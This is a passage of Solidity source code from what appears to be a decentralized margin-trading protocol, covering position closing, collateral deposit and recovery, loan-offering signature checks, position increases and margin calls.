uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
